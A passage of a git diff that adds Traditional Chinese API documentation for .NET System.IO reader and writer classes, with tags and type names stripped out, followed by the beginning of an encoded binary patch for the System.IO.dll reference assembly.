自目前資料流讀取一行字元，並將資料以字串傳回。 + 輸入資料流的下一行，或為 null (如果已到達輸入資料流末端)。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 發生 I/O 錯誤。 + 1 + + + 自目前資料流非同步讀取一行字元，並將資料以字串傳回。 + 表示非同步讀取作業的工作。 參數的值會包含資料流中的下一行，或者是 null (如果已經讀取所有字元)。 + 下一行中的字元數大於 。 + 已處置資料流。 + 讀取器目前由先前讀取作業所使用。 + + + 讀取從目前位置到資料流末端的所有字元。 + 資料流從目前位置到末端的其餘字串。如果目前位置位於資料流末端，則傳回空字串 ("")。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 發生 I/O 錯誤。 + 1 + + + 非同步讀取從目前位置到資料流末端的所有字元，並將它們以字串傳回。 + 表示非同步讀取作業的工作。 參數的值會包含字串，該字串含有從目前位置到資料流結尾的字元。 + 字元數大於 。 + 已處置資料流。 + 讀取器目前由先前讀取作業所使用。 + + + 實作以特定的編碼方式將字元寫入位元組資料流的 。若要瀏覽此類型的.NET Framework 原始碼，請參閱參考來源。 + 1 + + + 使用 UTF-8 編碼方式和預設緩衝區大小，為指定的資料流初始化 類別的新執行個體。 + 要寫入的資料流。 + + 不可寫入。 + + 為 null。 + + + 使用指定的編碼方式和預設緩衝區大小，為指定的資料流初始化 類別的新執行個體。 + 要寫入的資料流。 + 要使用的字元編碼。 + + 或 是 null。 + + 不可寫入。 + + + 使用指定的編碼方式和緩衝區大小，為指定的資料流初始化 類別的新執行個體。 + 要寫入的資料流。 + 要使用的字元編碼。 + 緩衝區大小，以位元組為單位。 + + 或 是 null。 + + 為負值。 + + 不可寫入。 + + + 使用指定的編碼方式和緩衝區大小，為指定的資料流初始化 類別的新執行個體，並選擇性讓資料流保持開啟。 + 要寫入的資料流。 + 要使用的字元編碼。 + 緩衝區大小，以位元組為單位。 + true 表示在處置 物件之後，將資料流保持開啟，否則為 false。 + + 或 是 null。 + + 為負值。 + + 不可寫入。 + + + 取得或設定值，指出 在每次呼叫 之後，是否要將其緩衝區清除到基礎資料流。 + 強制 清除其緩衝區，則為 true，否則為 false。 + 1 + + + 取得以備份存放區作介面的基礎資料流。 + StreamWriter 正在寫入的資料流。 + 2 + + + 釋放 所使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + 目前的編碼不支援顯示 Unicode Surrogate 字組的其中一半。 + + + 取得寫入輸出的 。 + + (在目前執行個體的建構函式中指定)；如果未指定編碼方式，則為 。 + 2 + + + 清除目前寫入器 (Writer) 的所有緩衝區，並且造成所有緩衝資料都寫入基礎資料流。 + 目前寫入器已關閉。 + 發生 I/O 錯誤。 + 目前的編碼不支援顯示 Unicode Surrogate 字組的其中一半。 + 1 + + + 以非同步的方式清除這個資料流的所有緩衝區，並造成所有緩衝資料都寫入基礎裝置。 + 表示非同步清除作業的工作。 + 已處置資料流。 + + + 提供 StreamWriter，但不包含可寫入但無法讀取的備份存放區。 + 1 + + + 將一個字元寫入資料流。 + 要寫入資料流的字元。 + 發生 I/O 錯誤。 + + 為 True，或 緩衝區已滿，且目前的寫入器已經關閉。 + + 為 True，或 緩衝區已滿，且因為 是在資料流緩衝區的結尾，所以該緩衝區的內容無法寫入至基礎的固定大小資料流。 + 1 + + + 將字元陣列寫入資料流。 + 含有要寫入之資料的字元陣列。如果 是 null，則不寫入任何資料。 + 發生 I/O 錯誤。 + + 為 True，或 緩衝區已滿，且目前的寫入器已經關閉。 + + 為 True，或 緩衝區已滿，且因為 是在資料流緩衝區的結尾，所以該緩衝區的內容無法寫入至基礎的固定大小資料流。 + 1 + + + 將字元子陣列寫入資料流。 + 含有要寫入之資料的字元陣列。 + 緩衝區中要開始讀取資料的字元位置。 + 要寫入的最大字元數。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負值。 + 發生 I/O 錯誤。 + + 為 True，或 緩衝區已滿，且目前的寫入器已經關閉。 + + 為 True，或 緩衝區已滿，且因為 是在資料流緩衝區的結尾，所以該緩衝區的內容無法寫入至基礎的固定大小資料流。 + 1 + + + 將字串寫入資料流。 + 要寫入資料流的字串。如果 是 Null，則不會寫入任何資料。 + + 為 True，或 緩衝區已滿，且目前的寫入器已經關閉。 + + 為 True，或 緩衝區已滿，且因為 是在資料流緩衝區的結尾，所以該緩衝區的內容無法寫入至基礎的固定大小資料流。 + 發生 I/O 錯誤。 + 1 + + + 以非同步方式將字元寫入資料流。 + 表示非同步寫入作業的工作。 + 要寫入資料流的字元。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元的子陣列寫入資料流。 + 表示非同步寫入作業的工作。 + 含有要寫入之資料的字元陣列。 + 緩衝區中要開始讀取資料的字元位置。 + 要寫入的最大字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負值。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串寫入資料流。 + 表示非同步寫入作業的工作。 + 要寫入資料流的字串。如果 是 null，則不寫入任何資料。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 將行結束字元以非同步方式寫入資料流。 + 表示非同步寫入作業的工作。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將一個字元 (其後加上行結束字元) 寫入資料流。 + 表示非同步寫入作業的工作。 + 要寫入資料流的字元。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元子陣列 (其後加上行結束字元) 寫入資料流。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始讀取資料的字元位置。 + 要寫入的最大字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負值。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串 (後面接著行結束字元) 寫入資料流。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果值為 null，則只會寫入行結束字元 (Terminator)。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 實作讀取字串的 。 + 2 + + + 初始化 類別的新執行個體，這個執行個體會從指定的字串讀取。 + + 應該初始化的目的字串。 + + 參數為 null。 + + + 釋放 使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示會同時釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 傳回下一個可供使用的字元，但不使用它。 + 整數，表示要讀取的下一個字元，如果沒有更多字元可供使用或資料流不支援搜尋，則為 -1。 + 目前的讀取器已關閉。 + 2 + + + 自輸入字串讀取下一個字元，並將字元位置前移一個字元。 + 基礎字串的下一個字元；如果不再有字元可供使用，則為 -1。 + 目前的讀取器已關閉。 + 2 + + + 自輸入字串讀取字元區塊，並將字元位置前移 個字元。 + 讀入緩衝區的字元總數。如果目前無法提供那麼多的字元數，則這個數目可能小於所要求的字元數，或如果已經到達基礎字串的末端，則為零。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + 緩衝區中的起始索引。 + 要讀取的字元數。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負數。 + 目前的讀取器已關閉。 + 2 + + + 從目前的字串非同步讀取指定的取大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達字串末端，則可能為 0（零）。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的最大字元數。如果指定的字元數寫入緩衝區之前，便到達字串末端，則方法會返回。 + + 為 null。 + + 或 為負數。 + + 和 的總和大於緩衝區的長度。 + 字串讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 從目前的字串非同步讀取指定的取大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達字串末端，則可能為 0（零）。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的最大字元數。如果指定的字元數寫入緩衝區之前，便到達字串末端，則方法會返回。 + + 為 null。 + + 或 為負數。 + + 和 的總和大於緩衝區的長度。 + 字串讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 自目前字串讀取一行字元，並將資料以字串傳回。 + 目前字串的下一行，如果已到達字串的結尾，則為 null。 + 目前的讀取器已關閉。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 2 + + + 自目前字串非同步讀取一行字元，並將資料以字串傳回。 + 表示非同步讀取作業的工作。參數的值會包含字串讀取器中的下一行，或者是null（如果已經讀取所有字元）。 + 下一行中的字元數大於 。 + 字串讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 讀取從目前位置到字串末端的所有字元，並將它們以單一字串傳回。 + 基礎字串從目前位置至結尾的內容。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 目前的讀取器已關閉。 + 2 + + + 非同步讀取從目前位置到字串末端的所有字元，並將它們以單一字串傳回。 + 表示非同步讀取作業的工作。參數的值會包含字串，該字串含有從目前位置到字串結尾的字元。 + 字元數大於 。 + 字串讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 實作 以便將資訊寫入字串。資訊儲存在基礎 中。 + 2 + + + 初始化 類別的新執行個體。 + + + 使用指定的控制項格式，初始化 類別的新執行個體。 + 控制格式的 物件。 + + + 初始化 類別的新執行個體，這個執行個體可寫入至指定的 。 + 要寫入至其中的 StringBuilder。 + + 為 null。 + + + 初始化 類別的新執行個體，這個執行個體會寫入至指定的 ，並且具有指定的格式提供者。 + 要寫入至其中的 StringBuilder。 + 控制格式的 物件。 + + 為 null。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示會同時釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 取得寫入輸出的 。 + 寫入輸出的 Encoding。 + 1 + + + 以非同步的方式清除目前寫入器 (Writer) 的所有緩衝區，並造成任何緩衝資料都寫入基礎裝置。 + 表示非同步清除作業的工作。 + + + 傳回基礎 。 + 基礎 StringBuilder。 + 2 + + + 傳回字串，包含被寫入至目前 StringWriter 的字元。 + 字串，包含被寫入至目前 StringWriter 的字元。 + 2 + + + 將一個字元寫入至字串。 + 要寫入的字元。 + 寫入器關閉。 + 2 + + + 將字元子陣列寫入至字串。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始讀取資料的位置。 + 要寫入的最大字元數。 + + 為 null。 + + 或 為負數。 + ( + )> 。Length. + 寫入器關閉。 + 2 + + + 將字串寫入至目前字串。 + 要寫入的字串。 + 寫入器關閉。 + 2 + + + 以非同步方式將字元寫入至字串。 + 表示非同步寫入作業的工作。 + 要寫入至字串的字元。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元的子陣列寫入至字串。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始讀取資料的位置。 + 要寫入的最大字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負數。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串寫入至目前字串。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果 為 null，不寫入任何字串至文字資料流。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將一個字元 (其後加上行結束字元) 寫入到字串。 + 表示非同步寫入作業的工作。 + 要寫入至字串的字元。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元子陣列 (其後加上行結束字元) 寫入到字串。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始讀取資料的位置。 + 要寫入的最大字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負數。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串 (後面接著行結束字元) 寫入至目前的字串。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果值為 null，則只會寫入行結束字元 (Terminator)。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 代表可以讀取一連串連續字元的讀取器 (Reader)。 + 2 + + + 初始化 類別的新執行個體。 + + + 釋放由 物件使用的所有資源。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 提供未讀取資料的 TextReader。 + 1 + + + 讀取下一個字元，而不會變更讀取器或字元來源的狀態。傳回下一個可用字元，而不會實際從讀取器讀取。 + 整數，表示要讀取的下一個字元，如果沒有更多字元可供使用或讀取器不支援搜尋，則為 -1。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 自文字讀取器讀取下一個字元，並將字元位置前移一個字元。 + 文字讀取器的下一個字元；如果不再有字元可供使用，則為 -1。預設的實作會傳回 -1。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 從目前讀取器讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 已經讀取的字元數目。數目將小於或等於 ，取決於資料是否在讀取器裡可供使用。如果不再有字元可供讀取時呼叫，這個方法傳回 0 (零)。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的字元數上限。如果指定的字元數讀入緩衝區之前，便到達讀取器末端，則方法會返回。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 從目前的文字讀取器非同步讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達文字末端，則可能為 0（零）。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的字元數上限。如果指定的字元數讀入緩衝區之前，便到達文字末端，則目前的方法會傳回。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 文字讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 從目前的文字讀取器讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 已經讀取的字元數目。數目將小於或等於 ，取決於是否已經讀取所有輸入字元。 + 當這個方法返回時，這個參數會包含具有介於 和 ( + -1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的字元數上限。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 2 + + + 從目前的文字讀取器非同步讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達文字末端，則可能為 0（零）。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的字元數上限。如果指定的字元數讀入緩衝區之前，便到達文字末端，則目前的方法會傳回。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 文字讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 自文字讀取器讀取一行字元，並將資料以字串傳回。 + 讀取器的下一行，或者如果所有字元都被讀取，則為 null。 + 發生 I/O 錯誤。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + + 已經關閉。 + 下一行中的字元數大於 。 + 1 + + + 非同步讀取一行字元，並將資料以字串傳回。 + 表示非同步讀取作業的工作。參數的值會包含文字讀取器中的下一行，或者是null（如果已經讀取所有字元）。 + 下一行中的字元數大於 。 + 文字讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 讀取從目前位置到文字讀取器末端的所有字元，並將它們以單一字串傳回。 + 字串，包含從目前位置到文字讀取器結尾的所有字元。 + 發生 I/O 錯誤。 + + 已經關閉。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 下一行中的字元數大於 。 + 1 + + + 非同步讀取從目前位置到文字讀取器末端的所有字元，並將它們以單一字串傳回。 + 表示非同步讀取作業的工作。參數的值會包含字串，該字串含有從目前位置到文字讀取器結尾的字元。 + 字元數大於 。 + 文字讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 代表可以寫入一連串連續字元的寫入器。這個類別是抽象的。 + 2 + + + 初始化 類別的新執行個體。 + + + 使用指定的格式提供者，初始化 類別的新執行個體。 + 控制格式設定的 物件。 + + + 儲存這個 TextWriter 所使用的新行字元。 + + + 釋放由 物件使用的所有資源。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 當在衍生類別中覆寫該屬性時，傳回用於寫入輸出的字元編碼。 + 寫入輸出時使用的字元編碼。 + 1 + + + 清除目前寫入器的所有緩衝區，並造成任何緩衝資料都寫入基礎裝置。 + 1 + + + 以非同步的方式清除目前寫入器的所有緩衝區，並造成任何緩衝資料都寫入基礎裝置。 + 表示非同步排清作業的工作。 + 文字寫入器已處置。 + 寫入器目前由先前寫入作業所使用。 + + + 取得控制格式設定的物件。 + 特定文化特性的 物件，或者目前文化特性的格式 (如果未指定其他文化特性)。 + 2 + + + 取得或設定目前 TextWriter 所使用的行結束字元字串。 + 目前 TextWriter 的行結束字元字串。 + 2 + + + 提供 TextWriter，但不包含可寫入但無法讀取的備份存放區。 + 1 + + + 將 Boolean 值的文字表示寫入到文字字串或資料流。 + 要寫入的 Boolean 值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字元寫入到文字字串或資料流。 + 要寫入到文字資料流的字元。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字元陣列寫入到文字字串或資料流。 + 要寫入到文字資料流的字元陣列。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字元的子陣列寫入到文字字串或資料流。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始擷取資料的字元位置。 + 要寫入的字元數。 + 緩衝區長度減去 小於 。 + + 參數為 null。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將十進位值的文字表示寫入到文字字串或資料流。 + 要寫入的十進位值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組浮點數值的文字表示寫入到文字字串或資料流。 + 要寫入的 8 位元組浮點數值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 4 位元組帶正負號的整數之文字表示寫入到文字字串或資料流。 + 要寫入之 4 位元組帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組帶正負號的整數之文字表示寫入到文字字串或資料流。 + 要寫入之 8 位元組帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 呼叫該物件的 ToString 方法，將物件的文字表示寫入至文字字串或資料流。 + 要寫入的物件。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 4 位元組浮點數值的文字表示寫入到文字字串或資料流。 + 要寫入的 4 位元組浮點數值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字串寫入到文字字串或資料流。 + 要寫入的字串。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 使用與 方法相同的語意，將格式化字串寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 要格式化及寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是一個)。 + 1 + + + 使用與 方法相同的語意，將格式化字串寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 第一個要格式化和寫入的物件。 + 第二個要格式化和寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零) 或大於或等於要格式化的物件數目 (就這個方法多載而言，是兩個)。 + 1 + + + 使用與 方法相同的語意，將格式化字串寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 第一個要格式化和寫入的物件。 + 第二個要格式化和寫入的物件。 + 第三個要格式化和寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是三個)。 + 1 + + + 使用與 方法相同的語意，將格式化字串寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 物件陣列，包含零或多個要格式化和寫入的物件。 + + 或 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或者大於或等於 陣列的長度。 + 1 + + + 將 4 位元組不帶正負號的整數之文字表示寫入到文字字串或資料流。 + 要寫入之 4 位元組不帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組不帶正負號的整數之文字表示寫入到文字字串或資料流。 + 要寫入之 8 位元組不帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 以非同步方式將字元寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入到文字資料流的字元。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元陣列寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入到文字資料流的字元陣列。如果 是 null，則不寫入任何資料。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元的子陣列寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始擷取資料的字元位置。 + 要寫入的字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負值。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果 為 null，不寫入任何字串到文字資料流。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 將行結束字元寫入到文字字串或資料流。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 Boolean 值的文字表示，並加上行結束字元寫入到文字字串或資料流。 + 要寫入的 Boolean 值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將一個字元 (其後加上行結束字元) 寫入到文字字串或資料流。 + 要寫入到文字資料流的字元。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將一個字元 (其後加上行結束字元) 寫入到文字字串或資料流。 + 資料讀取來源的字元陣列。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字元子陣列 (其後加上行結束字元) 寫入到文字字串或資料流。 + 資料讀取來源的字元陣列。 + + 中開始讀取資料的字元位置。 + 要寫入的最大字元數。 + 緩衝區長度減去 小於 。 + + 參數為 null。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將十進位值的文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入的十進位值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組浮點數值的文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入的 8 位元組浮點數值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 4 位元組帶正負號的整數之文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入之 4 位元組帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組帶正負號的整數之文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入之 8 位元組帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 透過呼叫該物件上的 ToString 方法，將該物件的文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入的物件。如果 為 null，只寫入行結束字元。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 4 位元組浮點數值的文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入的 4 位元組浮點數值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字串 (其後加上行結束字元) 寫入到文字字串或資料流。 + 要寫入的字串。如果 為 null，只寫入行結束字元。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 使用與 方法相同的語意，將格式化字串和新行寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 要格式化及寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是一個)。 + 1 + + + 使用與 方法相同的語意，將格式化字串和新行寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 第一個要格式化和寫入的物件。 + 第二個要格式化和寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是兩個)。 + 1 + + + 使用與 相同的語意，寫出格式化字串和新行。 + 複合格式字串 (請參閱＜備註＞)。 + 第一個要格式化和寫入的物件。 + 第二個要格式化和寫入的物件。 + 第三個要格式化和寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是三個)。 + 1 + + + 使用與 相同的語意，寫出格式化字串和新行。 + 複合格式字串 (請參閱＜備註＞)。 + 物件陣列，包含零或多個要格式化和寫入的物件。 + 傳入的字串或物件為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或者大於或等於 陣列的長度。 + 1 + + + 將 4 位元組不帶正負號的整數之文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入之 4 位元組不帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組不帶正負號的整數之文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入之 8 位元組不帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 以非同步方式將行結束字元寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將一個字元 (其後加上行結束字元) 寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入到文字資料流的字元。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元子陣列 (其後加上行結束字元) 寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入到文字資料流的字元陣列。如果字元陣列是 null，則只有行結束字元會被寫入。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元子陣列 (其後加上行結束字元) 寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始擷取資料的字元位置。 + 要寫入的字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負值。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串 (其後加上行結束字元) 寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果值為 null，則只會寫入行結束字元。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.3/System.IO.dll b/packages/System.IO.4.3.0/ref/netstandard1.3/System.IO.dll new file mode 100644 index 0000000000000000000000000000000000000000..4bc64f3928aedae16e08170388511348dbf676e2 GIT binary patch literal 29864 zcmeHw2V4_N*Y|7^Lhp!(pg|B2C2Z)ZAW}uDfG7$=2%$&`hEQ#QiWR#e*Z{?@h}au; z#V$7Nir7U!QL%q#HzX|Ty^rtrywC5x@Av!GyJzP=GkfODnVB=QXC_?VQS%WUA;f_D z#}9<|!jrh1N&5FB2a;8K?pHxOmi!*9{2j41+zu`OcCJLen23NtSiV(y;vX>TbL^3K_n?#Bm{_x zf@-LjGc*@l$WIhNMnYCXWCd? ztQjy9^B|&sF6n11Et$wHmf>GfV4>MwiJzZZ?eRZ9!=a}VqWqVhR7Eh&2>HY^wu=l8 zZ7nqn6h_upnr2M@-UUObyEas(J*%YBVvZ0^q!Is!SIPf60Wm{K0=#^(UHm_Kw(}Gh zAudrWr!>%>i7XomsBJIcw@*@9i8RtW{UWiXDiV3gYQnp}Efd)N%VLQ>DV6gleM#ei z3)!PdamdaqEl(PdW)_#)X#|MV#N0d8O%nCy|OcB*0TQrf; 